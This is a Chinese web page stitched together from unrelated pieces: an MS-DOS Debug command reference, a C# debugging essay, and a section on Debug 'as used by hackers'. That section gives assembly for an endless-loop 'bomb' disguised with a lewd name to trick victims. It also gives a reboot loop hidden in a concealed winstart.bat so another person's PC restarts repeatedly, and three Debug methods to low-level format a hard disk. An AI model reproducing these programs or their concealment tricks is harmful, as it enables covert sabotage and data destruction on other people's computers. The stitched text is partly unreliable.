要将字节值 4Fh 发送到地址为 2F8h 的输出端口,请键入以下命令: o2f8 4f

Debug:P(执行)

执行循环、重复的字符串指令、软件中断或子例程;或通过任何其他指令跟踪。

p [= address] [number] 参数 =address

指定第一个要执行指令的位置。如果不指定地址,则默认地址是在 CS:IP 寄存器中指定的当前地址。 number

指定在将控制返回给 Debug 之前要执行的指令数。默认值为 1。

有关运行当前在内存中程序的信息,请单击“相关主题”列表中的 Debug G(转向)。

有关执行指令的信息,请单击“相关主题”列表中的 Debug T(跟踪)。 说明

控制传送到要测试的程序

当 p 命令将控制从 Debug 传送到要测试的程序时,该程序不间断运行,直到循环、重复字符串指令、软件中断或者完成了指定地址的子例程为止,或者直到执行了指定数量的机器指令为止。控制返回到 Debug。

地址参数的限制

如果 address 参数没有指定段,Debug 将使用被测试程序的 CS 寄存器。如果省略 address,程序将从 CS:IP 寄存器所指定的地址开始执行。必须在 address 参数之前使用等号 (=) 以便将它与 number 参数区分。如果在指定地址处的指令不是循环、重复的字符串指令、软件中断或子例程,则 p 命令与 Debug t(跟踪)命令的作用相同。

使用 p 命令显示的邮件

当 p 执行完一段说明后,Debug 显示出程序的寄存器内容、标志的状态以及下一段将要被执行的指令的解码形式。 警告

不能使用 p 命令跟踪只读内存 (ROM)。 范例

假定正在测试的程序在地址 CS:143F 处包含一个 call 指令。要运行 call 目标位置的子程序然后将控制返回到 Debug,请键入以下命令: p=143f

Debug 按以下格式显示结果:

AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=2246 ES=2246 SS=2246 CS=2246 IP=1443 NV UP EI PL NZ AC PO NC 2246:1442 7505 JNZ 144A

Debug:Q(退出)

停止 Debug 会话,不保存当前测试的文件。

当您键入 q 以后,控制返回到 Windows 2000 的命令提示符。 q 参数

该命令不带参数。

有关保存文件的信息,请单击“相关主题”列表中的 Debug W(写入)。

Debug:R(寄存器)

显示或改变一个或多个 CPU 寄存器的内容。

r [register-name] 参数 无

如果在没有参数的情况下使用,则 r 命令显示所有寄存器的内容以及寄存器存储区域中的标志。

register-name

指定要显示其内容的寄存器名。

有关显示内存部分内容的信息,请单击“相关主题”列表中的 Debug D(转储)。

有关反汇编字节的信息,请单击“相关主题”列表中的 Debug U(反汇编)。 说明

使用 r 命令

如果指定了寄存器名称,Windows 2000 将显示以十六进制标记表示的寄存器的 16 位值,并将冒号显示为提示符。如果要更改包含在寄存器中的值,除非键入新值并按 ENTER 键;否则,请按 ENTER 键返回 Debug 提示符。

有效寄存器名

以下是 register-name 的有效值:ax、bx、cx、dx、sp、bp、si、di、ds、es、ss、cs、ip、pc 及 f。ip 和 pc 都引用指令指针。

如果指定寄存器名称,而不是从前面的列表中指定,Windows 2000 将显示以下消息: br error

使用 f 字符而不是寄存器名

如果键入 f 字符代替寄存器名,Debug 将每个标记的当前设置显示为两字母代码,然后显示 Debug 提示符。要更改标志的设置,请从下表中键入适当的两字母代码: 标志名 设置 清除 溢出 ov nv 方向 dn(减) up(增) 中断 ei(启用) di(禁用) 正负 ng(负) pl(正) 零 zr nz 辅助进位 ac na 奇偶校验 pe(偶校验)

po(奇校验) 进位 cy nc

可以按任何顺序键入新的标志值。不需要在这些值之间留出空格。要停止 r 命令,请按 ENTER 键。任何没有指定新值的标志保持不变。

用 r 命令显示的邮件

如果为标记指定了多个值,Debug 将显示以下消息: df error

如果指定没有在前面的表中列出的标志代码,Debug 将显示以下消息: bf error

在这两种情况下,Debug 将忽略所有在无效项目之后指定的设置。

Debug 的默认设置

在启动 Debug 时,会将段寄存器设置到空闲内存的低端,指令指针设置为 0100h,清除所有标志,并且将其余寄存器设置为零,除了被设置为 FFEEh 的 sp 之外。 Debug:R 范例

要查看所有寄存器的内容、所有标记的状态和当前位置的指令解码表,请键入以下命令: r

如果当前位置是 CS:11A,显示外观将类似于以下内容:

AX=0E00 BX=00FF CX=0007 DX=01FF SP=039D BP=0000 SI=005C DI=0000 DS=04BA ES=04BA SS=04BA CS=O4BA IP=011A NV UP DI NG NZ AC PE NC 04BA:011A CD21 INT 21

要只查看标志的状态,请键入以下命令:

rf

Debug 按以下格式显示信息:

NV UP DI NG NZ AC PE NC - _

现在,您可以按任意顺序键入一个或多个有效的标志值,其中可以有或没有空格,如下所示:

nv up di ng nz ac pe nc - pleicy

Debug 结束 r 命令并显示 Debug 提示符。要查看更改,请键入 r 或 rf 命令。Debug 将显示以下内容:

NV UP EI PL NZ AC PE CY - _ 按 ENTER 返回到 Debug 提示符。

Debug:S(搜索)

在某个地址范围搜索一个或多个字节值的模式。

s range list 参数 range

指定要搜索范围的开始和结束地址。有关 range 参数有效值的信息,请单击“相关主题”列表中的 Debug。 list

指定一个或多个字节值的模式,或要搜索的字符串。用空格或逗号分隔每个字节值和下一个字节值。将字符串值包括在引号中。 说明

如果 list 参数包含多个字节值,Debug 将只显示出现字节值的第一个地址。如果 list 只包含一个字节值,Debug 将显示指定范围内出现该值的所有地址。

范例

假定需要查找包含值 41 并且范围从 CS:100 到 CS:110 的所有地址。为此,请键入以下命令:

scs:100 110 41

Debug 按以下格式显示结果:

04BA:0104 04BA:010D -

以下命令在 CS:100 到 CS:1A0 的范围内搜索字符串“Ph”。 scs:100 1a0 \

Debug:U(反汇编)

反汇编字节并显示相应的原语句,其中包括地址和字节值。反汇编代码看起来象已汇编文件的列表。 u [range] 参数 无

如果在没有参数的情况下使用,则 u 命令分解 20h 字节(默认值),从前面 u 命令所显示地址后的第一个地址开始。 range

指定要反汇编代码的起始地址和结束地址,或起始地址和长度。有关 range 参数有效值的信息,请单击“相关主题”列表中的 Debug。

有关集成记忆码的信息,请单击“相关主题”列表中的 Debug A(汇编)。

有关显示内存部分内容的信息,请单击“相关主题”列表中的 Debug D(转储)。 范例

要反汇编 16 (10h) 字节,从地址 04BA:0100 开始,请键入以下命令:

u04ba:100l10

Debug 按以下格式显示结果:

04BA:0100 206472 AND [SI+72],AH 04BA:0103 69 DB 69 04BA:0104 7665 JBE 016B

04BA:0106 207370 AND [BP+DI+70],DH 04BA:0109 65 DB 65 04BA:010A 63 DB 63 04BA:010B 69 DB 69 04BA:010C 66 DB 66 04BA:010D 69 DB 69 04BA:010E 63 DB 63 04BA:010F 61 DB 61

如果只显示从 04BA:0100 到 04BA:0108 特定地址的信息,请键入以下命令:

u04ba:0100 0108

Debug 显示以下内容:

04BA:0100 206472 AND [SI+72],AH 04BA:0103 69 DB 69 04BA:0104 7665 JBE 016B

04BA:0106 207370 AND [BP+DI+70],DH

Debug:W(写入)

将文件或特定分区写入磁盘。

要将在 BX:CX 寄存器中指定字节数的内容写入磁盘文件,请使用以下语法:

w [address]

要略过 Windows 2000 文件系统并直接写入特定的扇区,请使用以下语法:

w address drive start number

参数 address

指定要写到磁盘文件的文件或部分文件的起始内存地址。如果不指定 address,Debug 程序将从 CS:100 开始。关于 address 参数有效值的信息,请在“相关主题”列表中单击 Debug。 drive

指定包含目标盘的驱动器。该值是数值型:0 = A, 1 = B, 2 = C,等等。 start

指定要写入第一个扇区的十六进制数。 number

指定要写入的扇区数。

有关指定用于 w 命令的文件的信息,请单击“相关主题”列表中的 Debug N(名称)。

有关将文件或文件扇区内容加载到内存中的信息,请单击“相关主题”列表中的 Debug L(加载)。 说明

必须在启动 Debug 时或者在最近的 Debug n(名称)命令中指定磁盘文件的名字。这两种方法都可以将地址 CS:5C 处文件控制块的文件名正确地编排格式。

在使用不带参数的 w 命令之前重新设置 BX:CX

如果使用了 Debug g(转向)、t(跟踪)、p(执行)或 r(寄存器)命令,必须在使用无参数的 w 命令之前,将 BX:CX 寄存器复位。

将修改后的文件写入磁盘

如果修改文件但不更改文件名、长度或起始地址,Debug 仍然可以正确地将文件写入源磁盘位置。

w 命令的限制

不能用该命令写入 .exe 或 .hex 文件。 警告

因为略过 Windows 2000 文件句柄,所以写入特定的分区非常危险。如果键入错误的值,则磁盘文件结构很容易被损坏。 范例

假定要将起始地址为 CS:100 的内存内容写入到驱动器 B 的磁盘中。需要将数据从磁盘的逻辑扇区号 37h 开始并持续 2Bh 个扇区。为此,键入以下命令:

wcs:100 1 37 2b

当写操作完成时,Debug 再次显示 Debug 提示符。

Debug:XA(分配扩展内存)

分配扩展内存的指定页面数。

要使用扩展内存,必须安装符合 4.0 版的 Lotus/Intel/Microsoft 扩展内存规范 (LIM EMS) 的扩展内存设备驱动程序。

xa [count] 参数 count

指定要分配的扩展内存的 16KB 页数。

有关使用扩展内存的其他 Debug 命令的信息,请单击“相关主题”列表中的 XD(释放扩展内存)、XM(映射扩展内存页)或 XS(显示扩展内存状态)。 说明

如果指定的页面数可用,则 Debug 将显示消息,此消息表明所创建的句柄的十六进制数;否则,Debug 将显示错误消息。

Debug:XA 范例

要分配扩展内存的 8 个页面,请键入以下命令:

xa8

如果命令成功,Debug 将显示类似的以下消息: Handle created=0003

Debug:XD(释放扩展内存)

释放指向扩展内存的句柄。

要使用扩展内存,必须安装符合 4.0 版的 Lotus/Intel/Microsoft 扩展内存规范 (LIM EMS) 的扩展内存设备驱动程序。

xd [handle] 参数 handle

指定要释放的句柄。

有关使用扩展内存的其他 Debug 命令的信息,请单击“相关主题”列表中 XA(分配扩展内存)、XM(映射扩展内存页) 或 XS(显示扩展内存状态)。 范例

要释放句柄 0003,请键入以下命令: xd 0003

如果命令成功,Debug 将显示下列消息: Hdle 0003 deallocated

Debug:XM(映射扩展内存页)

将属于指定句柄的扩展内存逻辑页映射到扩展内存的物理页。

要使用扩展内存,必须安装符合 4.0 版的 Lotus/Intel/Microsoft 扩展内存规范 (LIM EMS) 的扩展内存设备驱动程序。

xm [lpage] [ppage] [handle] 参数 lpage

指定要映射到物理页 ppage 的扩展内存的逻辑页面号。 ppage

指定将 lpage 映射到的物理页面号。 handle

指定句柄。

有关使用扩展内存的其他 Debug 命令的信息,请单击“相关主题”列表中的 XA(分配扩展内存)、XD(释放扩展内存)或 XS(显示扩展内存)。 范例

要将句柄 0003 的逻辑页 5 映射到物理页 2,请键入以下命令:

xm 5 2 0003

如果命令成功,Debug 将显示下列消息:

Logical page 05 mapped to physical page 02

Debug:XS(显示扩展内存状态)

显示有关扩展内存状态的信息。

要使用扩展内存,必须安装符合 4.0 版的 Lotus/Intel/Microsoft 扩展内存规范 (LIM EMS) 的扩展内存设备驱动程序。 xs 参数

该命令不带参数。

有关使用扩展内存的其他 Debug 命令的信息,请单击“相关主题”列表中的 XA(分配扩展内存)、XD(释放扩展内存)或 XM(映射扩展内存页)。 说明

Debug 显示的信息有如下格式:

Handle xx has xx pages allocated Physical page xx = Frame segment xx xx of a total xx EMS pages have been allocated xx of a total xx EMS handles have been allocated 范例

要显示扩展内存信息,请键入以下命令: xs

Debug 显示与以下类似的信息:

Handle 0000 has 0000 pages allocated Handle 0001 has 0002 pages allocated Physical page 00 = Frame segment C000 Physical page 01 = Frame segment C400 Physical page 02 = Frame segment C800 Physical page 03 = Frame segment CC00 2 of a total 80 EMS pages have been allocated 2 of a total FF EMS handles have been allocated

debug在黑客中的使用 一 、死循环炸弹的编写

在dos下键入debug,进入debug,然后键入下面的汇编代码(分号后是解释): -a100

0100:mov dl,1 ;将1调入dl 0102:mov ah,2 ;将2H调入ah 0104:int 21 ;调用21H DOS程序 0106:inc dl ;将dl中的数加1

0108:jmp 102 ;回到102程序,既返回\ 两次回车

现在让我们来生成com文件,键入一下指令: -n盘符程序名 ;n和程序名间没有空格 -rbx ;查看bx寄存器

回车 ;bx为0,不用输入,就回车 -rcx ;查看cx寄存器

:a ;输入程序字节数,a(16进制)就是10字节 -w ;写入程序

好了,现在可以在dos下试试效果了,呵呵,不要打我呀!!!!!!是不是电脑乱叫乱跑呀,哈哈,这是个死循环,现在同时按ctrl+break或ctrl+c可以强制停止的,要是在windows下就用鼠标结束命令提示符就没事了.

现在来解释一下这个程序的实现过程: 把显示字符的ASCII码值调入DL寄存器中,把显示字符的功能号2H调入ah中,执行\即显示1H的ASCII码,\就是将dl中的值加一,\就是跳到\这个程序段,简单吧,很容易看懂的,这个程序如果再屏蔽掉ctrl,break,c,然后在将窗口最大化,呵呵,那就只能看着自己的\爱机\死循环到死机了,你可以给他取个sexlady的名字,再换个性感的图标,现在就可以用它来炸色狼了.呵呵,今天就讲这么多,下次讲什么呢?讲炸键盘的核心代码吧,嘿嘿.

二 、让你的电脑反复启动

c:\\debug boot.com -a100 -mov ax,0040 -mov ds,ax -mov si,0072 -mov[si],ax jmp ffff:0 int 20 -rcx 0014 -w -q

这个就是热启动的程序,如果再用.bat文件让它自动执行,那么它就是一个炸弹,让人家的电脑反复启动,可能你会把他添加到 autoexec.bat中,但这样容易被人发现,其实还有一个自动批处理文件和autoexe.bat的作用一样,不过他是在autoexec.bat后执行,文件名叫winstart.bat,这个文件是许多软件安装时生成的临时文件,当软件安装需要重新启动然后继续安装时,就会在windows目录下生成这个文件,安装完后自动删除,但如果是你人为添加这个文件,系统将不把他删除,这样你就可以把这个热启动的程序用这个winstart.bat来让他每次启动计算机时自动执行,最好把这个文件隐藏,一般人是很难想到是这个批处理文件在捣乱,嘿嘿,这样就可以让人家的计算机反复启动不停了.

三 、 用DEBUG低格硬盘

一: 直接调用ROM BIOS中的低格式化程序。

在很多计算机的ROM BIOS中存放着低格程序。存放地址从C8005H处开始,可以用DEBUG的G命令直接调用。操作如下: a:/>debug -g c800:0005

这时屏幕显示信息(不同版本的BIOS显示的信息不一样),回车后提示: current interleave is 3 select new interleave or return fot current

这是要求用户选择交叉因子,按回车表示取默认值,屏幕接着提示: Are you aynameically configuring the drive-answer Y/N Prss \ 键入Y后,开始低格...... Formatting......

完成后询问是否处理坏磁道:

Do you want to format bat trackanswer Y/N? 如没有就用“N”回答,屏幕提示:

rmat successfull,system will new restart,insert dos diskette in dirve a: 插入系统盘到A驱,即可进行分区,高级格式化等操作。

方法二:

BIOS也可以由DOS通过中断指令来调用。调用INT 13H中断的7号功能,也可以对硬盘进行低格,操作如下: a:/>debug -a 100

-xxxx:0100 mov ax,0703; 交叉因子为3 -xxxx:0103 mov cx,0001; 0磁道0扇区起 -xxxx:0106 mov dx,0080; C盘0磁道 -xxxx:0109 int 13 -xxxx:010B int 3 -xxxx:010D

-G 100 ;从0100处开始执行。

这样硬盘就被低格了!

方法三:

调用INT 13H的5号功能。

对硬盘调用INT 13H的5号功能只能低格0面0道1扇区,而不必低格整个硬盘,从而使低格在很短的时间内完成。操作如下:

a:/>debug -a 100

-xxxx:0100 mov ax,0500;调用5号功能 -xxxx:0103 mov bx,0180;设置缓冲区地址

-xxxx:0106 mov cx,0001;0道1扇区起 -xxxx:0109 mov dx,0080;C盘0磁道 -xxxx:010B int 13 -xxxx:010D int 3

-E 0180 0 0 0002;写入参数 -G 100

学习Debug你还需要。。。。。。。。。。。。。

有人说web程序员不算是真正的程序员,刚听到这句话的时候很气愤,但仔细想想,这话还是很有道理的。可以说,大部分的web程序员不能算是真正的程序员,因为他们的大部分注意力在实现功能上,而对一些程序员必须要掌握的东西丝毫不在意。可以这么说,还不会爬就想跑了。可能你不会同意上面的话,但问一下自己,除了改改例子实现功能以外,你对一些基本的东西有多少了解?

先不说那些复杂的诸如面向对象一类的东西,我们就说说简单的排错、纠错吧,你做了多少?想想看,作为程序员恐怕每天大多数的时间是在debug,但究竟有多少人真正掌握合理的、科学的去debug呢?以前的web编程语言象asp/php/cgi等关于debug的功能很弱,但现在的c#及java提供了丰富的debug手段,但你用了多少呢?你可能对System.Data.SqlClient的每个类、每个方法、每个属性都了如指掌,但你对System.Diagnostics了解多少呢?现代的编程语言如c++ , java , c#等都十分重视对错误的防止、处理,在这儿我就讲一下在c#里的排错、纠错,希望大家能从中学到一些有用的东西,希望以后不会再听到文章开头那句话。debug最理想的状态是什么?这个不用我说,那就是defect free,没有bug,呵呵。但早有人说了,没有bug那还叫程序吗?win2000还60000多个bug呢。所以我们要做到的是尽量防止bug,bug出现后能迅速定位问题所在,修正这个bug。.net提供了很丰富的debug手段,除了一些debug相关的nampespace,c#语言本身也有相关的内容存在。常用的有条件编译、try/catch、trace以及断言(Assert)等,如果你能熟练掌握这些手段,综合运用,那么debug将不再是一场恶梦,也不会像现在这样出现一点儿问题就满论坛追着人问:“我这儿又出错了,为什么呀?”。下面我将分别讲一下这些手段的运用。

一、捕捉异常(try / catch /finally)

这个我不用说,大家都清楚它的作用,就是捕捉程序中所有可能导致错误的异常,然后加入自己的处理措施,并且使程序继续运行,而如果不捕捉异常的话,程序将会终止,简单的把错误信息发送给客户。所以,在进行所有可能出现错误的操作时都应该捕捉异常,象下面这个例子,捕捉数据库操作可能出现的异常。 ///

/// 取得数据库连接 ///

///

///

public void GetConnection(string a_strDatabase , out SqlConnection oa_objConnection) {

oa_objConnection = null ; string strConnStr = \try {

strConnStr = \

+ m_objIni.GetProperty(\\+ \

oa_objConnection = new SqlConnection(strConnStr) ;

oa_objConnection.Open() ; //log it

m_objLog.Write(\数据库连接ok\}

catch(SqlException e) { //log it

m_objLog.Write(\数据库连接出错\

#if DEBUG

Console.WriteLine(e.ToString()) ; #endif//DEBUG throw(e) ; } }

}//end class

二、条件编译

java不提供条件编译,这是我觉得java不好的一个原因之一,所以在写java时都是自己写一个类来实现条件编译。那么,什么是条件编译呢?就是当符合某一条件时编译,不符合时就不编译,这就方便了debug。我们经常遇到这种情况,在某一过程或方法里我们想要知道某个变量的值,比较常用的方法是在页面或控制台输出这个变量的值,已确定是否是自己希望的值,但如果没有条件编译的话,但当你发布发行版本时需要手工删掉这些输出语句,费时、费力,并且容易出错,而如果有条件编译,那就方便多了。看下面这个例子: ///

/// 初始化 /// private void Initialize() { try {

m_objConnManager = new ConnManager(m_strIniFilePath , \log = new Log(\}

catch(Exception e) {

#if DEBUG

Console.WriteLine(\初始化\#endif//DEBUG

throw(new Exception(\初始化\ } }

注意到其中的#if DEBUG那几句吗?它的作用就是当DEBUG时,在控制台输出异常信息,以便你马上知道出现什么错误,而当不是DEBUG时,那句就不会被编译。

三、断言(Assert)

断言真是一个值得大书特书的好东西,但可惜的是80%的程序员尤其是web程序员不用它,甚至根本就没听说过。很难给断言下一个定义,如果要详细说它的好处,简直都可以写一本书了。简单地说,断言就是在应该是正确的地方加一个判断已确定它真的正确(这话有些拗口,下面我会详细解释),它的作用就是确保你的程序按照预计的目标正常运行,并且能够帮助你迅速定位错误原因。断言的机制很简单,就象c#里的断言方法System.Diagnostics.Debug.Assert的定义,判断一个条件是否成立,如果不成立的话就显示一条信息。看起来很简单,真的能起那么大作用吗?让我们看下边这个例子。 ///

/// 存取m_strID的属性 ///

public string ID { get {

return this.m_strID ; } set {

#if DEBUG //断言

Debug.Assert(value.Length % 2 == 0 , \分类id长度必须为偶数\ #endif

this.m_strID = value ; }

}//end method

这是个很简单的方法,就是为了存取m_strID这个成员变量的值,这个m_strID是个利用编码规则实现树形结构的字符串成员变量,就像这样:010213,两位为一间隔,通过它的长度和编码规则可以很容易得到它位于第几层,它的父节点的id等等。因为两位数为一间隔,所以这个字符串的长度必须是个偶数。看到Debug.Assert那句吗?它的作用就是判断这个字符串的长度是不是偶数,如果不是,则谈出一个对话框来显示\分类id长度必须为偶数\。或许你会说看不出它有什么作用,不就是判断一个值符不符合要求吗。本来这个程序都是你自己写的,所以你给这个m_strID赋值时应该知道这个长度为偶数的限制,一般情况下应该都是正确的,好,现在让我们假设这么一种情况,由于某种原因,你忘记了这个限制,而把一个长度是奇数的字符串赋给这个变量,而这时虽然有问题但程序并不报错,继续运行,当过了很远时,这个错误显露出来,使整个程序崩溃或最终结果不正确,这时即使程序报错也是在离产生这个错误的真正原因很远的地方,或者干脆就不报错,这是你要找到错误的原因就很困难了,可能要花费几小时甚至几天的时间,而如果当时你加了断言,运行到这里的时候就会终止,告诉你错误的原因,也就避免了后面出现的问题以及你为纠正这个问题所付出的时间和精力。怎么样,现在是不是对断言有了一定的了解,并且有一些兴趣呢?试一下吧,慢慢的你会感受到它的威力。另外需要说的一点是断言是为了辅助deubg的,而不是进行错误处理的,所以一般把它和条件编译结合使用,只有当编程、测试时才使用断言,而当发行正是版本时应该去掉断言,因为毕竟它是要影响效率的。

四、日志(log)

程序记不记日志恐怕是区分传统程序员和web程序员最好的标志了。大多数应用程序都记日志,而几乎所有的web程序都不记日志,呵呵。其实日志也是一个特别有用的东西,如果不记录日志,那很可能系统发生了什么、出现什么情况你都不清楚,尤其是时间一长,更容易出现这种情况。所以,养成良好的习惯,让你的程序写log吧。当然,除了上述这些,还有很多东西,如跟踪(trace)单步调试等等,你可以自己看一下资料。方法我都讲了,用不用就是你的问题了,呵呵。

DEBUG命令大全

启动 Debug,它是可用于测试和调试 MS-DOS 可执行文件的程序。 Debug [[drive:][path] filename [parameters]] 参数

[drive:][path] filename

指定要测试的可执行文件的位置和名称。 parameters

指定要测试的可执行文件所需要的任何命令行信息。 ++ 说明

使用 Debug 命令但不指定要测试的文件

如果使用没有位置和文件名的 Debug 命令,然后键入所有的 Debug 命令以响应 Debug 提示符,连字符 (-)。 Debug 命令

以下是 Debug 命令列表: ? 显示 Debug 命令列表。 a 汇编 8086/8087/8088 记忆码。 c 比较内存的两个部分。 d 显示部分内存的内容。

本文来源:https://www.bwwdw.com/article/9bb7.html

Top